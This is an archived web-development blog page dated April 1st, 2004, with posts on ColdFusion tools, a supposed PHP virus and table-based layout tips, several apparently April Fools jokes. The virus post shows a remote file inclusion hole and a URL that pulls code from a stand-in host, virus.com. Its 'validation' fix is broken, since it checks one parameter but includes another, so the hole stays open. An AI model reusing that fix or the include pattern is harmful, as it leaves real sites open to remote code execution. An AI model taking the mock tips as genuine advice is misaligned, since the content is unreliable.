Recent Blog Posts
Blogs ยป Archive for April 1st, 2004
Favorite CF Functions/Tags/Etc.
…posted by davidjmedlock:
I thought it would be interesting to hear from other developers what their favorite or most used ColdFusion custom tags, UDF’s, or CFC’s are. I’ll start off:
- This has saved my life a few times when I needed to use XML with CF 5. It’s based on the Microsoft XMLDOM parser, which from my research is not the greatest in the world. But when you just need to do some simple XML parsing, it can really save your life.
DeleteCFCache - This nifty little UDF can be handy to have around. Ever get an error that won’t seem to go away no matter what you try? It may be because CFMX has cached that file. It can be a nightmare to figure out the first time you see it and then when you do figure it out, it becomes a pain to clear the cache. This little UDF can make it much easier to clear out those files and save your sanity.
ImageSize - CFMX required. Grabs the image height and width for you. It’s a very handy tag to have around, especially when doing any image …
PHP Virus Attacking Web Hosts
Symantec have a report of the virus here.
I’ve yet to see any of the PHP news sites picking up on it but, using a virtual host account, managed to deliberately expose some PHP scripts to it.
From examining the infected scripts, what’s disturbing is once infected, every time a script is executed, the virus goes on a hunt for other web sites using PHP to see if it can trick them into executing the virus, thereby spreading it further directly over the Internet. Although the spread it likely to be slow, it can takes place automatically, without your intervention!
If your site contains code like;
// index.php
include $_GET[’page’];
You need to take action now - your site could be infected with a URL like;
http://yoursite.com/index.php?page=http://virus.com/virus.php
A simple way to validate is;
$pages = array(’news’,'articles’,'blog’);
if ( in_array($_GET[’page’], $pages) ) {
include $_GET[’php’] . ‘.php’;
} else {
include ‘home.php’;
}
Sitepoint have taken the extreme but necessary approach of upgrading to .NET in response.
Tips from the master
I stumbled across a real gem today: Tips for writers and designers from HTML wizard David Siegel. David is driving forward the boundaries of web design and has a treasure trove of tips for aspiring web developers. Did you know you could use single pixel gifs to achieve perfect control over your layouts?
The companion site for David’s book Creating Killer Web Sites has yet more cutting edge advice. The invisible table trick is particularly impressive - I had only ever thought of tables as boring tools for presenting tabular data, but David turns web design on its head and shows how they can be used to lay out pages in ways I’d never even imagined!
David really shows how to break away from the limitations of HTML as a structural markup language. The web will never be the same again!
Sponsored Links
SitePoint Marketplace
Buy and sell Websites, templates, domain names, hosting, graphics and more.
Logo Design, Web page Design and more!
- Custom logo designs created ‘just for you’.
- Pick the design you like best.
- Only pay if you’re satisfied with the result.
SitePoint Kits
Download sample chapters of any of our popular kits.
The Web Site Revenue Maximizer
The Search Engine Marketing Kit, 2.0
The Web Design Business Kit 2.0
The Email Marketing Kit
The Usability Kit
SitePoint Books
Download sample chapters of any of our popular books.
Simply Rails 2
The Principles Of Project Management
The Ultimate CSS Reference
The Art & Science of JavaScript
The PHP Anthology: 101 Essential Tips, Tricks & Hacks, 2nd Edition
The ASP.NET 2.0 Anthology: 101 Essential Tips, Tricks & Hacks
The CSS Anthology: 101 Essential Tips, Tricks & Hacks, 2nd Edition
Simply JavaScript
The Art & Science Of CSS
The Principles of Beautiful Web Design